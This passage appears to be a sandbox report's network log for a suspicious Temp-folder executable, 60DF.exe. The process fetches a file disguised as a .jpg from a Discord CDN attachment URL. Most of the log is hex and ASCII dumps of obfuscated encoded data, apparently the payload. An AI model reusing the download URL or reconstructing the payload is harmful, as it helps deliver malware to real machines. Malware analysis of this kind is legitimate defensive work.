2021-10-29 15:55:36 UTC	2563	IN	Data Raw: 51 20 78 20 59 74 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4b 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 74 45 20 78 20 6b 52 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 59 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 4b 51 20 78 20 74 6b 20 78 20 4f 78 51 20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 6f 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 6b 20 78 20 74 4f 20 78 20 4f 78 52 20 78 Data Ascii: Q x Yt x kx x RY x RR x KQ x Rt x tx x Oxx x OOO x YO x tk x OOR x RY x RY x tQ x OOR x OxK x Qx x OxR x Kk x KE x RY x to x kY x tE x kR x Yx x OxR x OOO x Yx x Kk x RY x RY x YK x KQ x tk x OxQ x kx x kE x tE x RY x Oxx x ko x kR x OOE x Rk x tO x OxR x
2021-10-29 15:55:36 UTC	2579	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2595	IN	Data Raw: 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 Data Ascii: tE x RY x Qk x RY x RR x Oxk x RY x to x tt x RY x RY x RY x RY x RY x RY x Rt x RY x RY x tR x RY x RY x RY x RY x RY x RY x RY x tK x kO x RR x Oxt x RY x Rt x RY x RY x tE x RY x RY x Oxk x RY x RQ x Oxt x RY x tk x OxE x RY x Kk x RY x to x OxE x RY x
2021-10-29 15:55:36 UTC	2611	IN	Data Raw: 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 59 74 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 Data Ascii: Y x RY x tO x OOQ x RY x QQ x RY x RR x OxK x RY x tO x kO x RY x Qx x RY x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RY x Yt x RY x Rt x tE x RY x tk x kO x RY x OxY x RY x Rk x Yo x RY x kx x RY x RR x Kk x RY x to x tE x RY x tK x kO x RR x Ooo x RY x
2021-10-29 15:55:36 UTC	2627	IN	Data Raw: 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 4f 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4f 20 78 20 6b 74 20 78 20 59 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 74 20 78 20 59 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 52 20 78 20 59 4b 20 78 Data Ascii: x kO x RY x Rk x OxO x Oxo x Oxt x RY x RY x YK x OOE x Oxk x RY x RY x tQ x kE x OOo x kO x RY x Rk x Oxt x Oxo x Oxt x RY x RY x OxO x kt x YE x RY x RY x tE x kR x OOt x kO x RY x RR x OOQ x Qt x Oxt x RY x RY x Rt x kt x Yt x RY x RY x tx x kR x YK x
2021-10-29 15:55:36 UTC	2643	IN	Data Raw: 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6f 20 78 20 6b 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 59 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 6f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 4f 78 6b 20 78 20 4f 4f 51 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 78 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 52 20 78 20 52 59 20 Data Ascii: kO x RY x RY x OxQ x RY x RR x Oxo x kk x YO x tk x Oxk x Oxx x tx x Yt x OxK x QQ x to x RR x Oxo x Oxx x to x Oxk x OOQ x Qx x kO x RY x RY x KQ x OxE x RR x Oxo x kQ x Yx x Yt x OOt x Oxx x to x tK x OOk x Qk x tO x Qx x OOQ x RY x RY x Rk x OOR x RY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49837	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 15:55:36 UTC	2645	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 15:55:36 UTC	2645	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:55:36 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6a5d96d32ee94e07-FRA Accept-Ranges: bytes Age: 78520 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Sat, 29 Oct 2022 15:55:36 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AQMk6sVcPQ5anbc7c9WefHu2azhEUdC9Eu90dJcuLYlpcvYwEeX8m6huNcax63VmWbz%2BxTFfgNeCemAaLeSqEzo%2FBZkobPdeqf0SJw5dOSrknQtMgRIrxkifmrdjF%2FninZcN4A%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 15:55:36 UTC	2646	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 15:55:36 UTC	2646	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-10-29 15:55:36 UTC	2647	IN	Data Raw: 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 78 20 Data Ascii: ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x kt x tx x
2021-10-29 15:55:36 UTC	2649	IN	Data Raw: 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 20 78 Data Ascii: OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x ko x YE x
2021-10-29 15:55:36 UTC	2650	IN	Data Raw: 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 6b Data Ascii: x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx x OOY x k
2021-10-29 15:55:36 UTC	2651	IN	Data Raw: 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 Data Ascii: x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx
2021-10-29 15:55:36 UTC	2653	IN	Data Raw: 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b Data Ascii: x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x RY x OOE x RY x RR x tx x Qk
2021-10-29 15:55:36 UTC	2654	IN	Data Raw: 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 78 20 Data Ascii: x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk x kY x YO x Oxk x Ooo x kO x
2021-10-29 15:55:36 UTC	2655	IN	Data Raw: 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 78 20 Data Ascii: RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx x Oxk x Oxx x tx x tk x YE x QQ x
2021-10-29 15:55:36 UTC	2657	IN	Data Raw: 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 Data Ascii: E x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x OxR x Oxx x RY x RY x RY x OOR x kO x
2021-10-29 15:55:36 UTC	2658	IN	Data Raw: 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 Data Ascii: x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk x tK x Oxk x Qk x OOx x kO
2021-10-29 15:55:36 UTC	2659	IN	Data Raw: 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 Data Ascii: k x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt x Qk x YO x Oxx x Ooo x RY x RY x Rk x
2021-10-29 15:55:36 UTC	2661	IN	Data Raw: 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 51 20 Data Ascii: k x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x 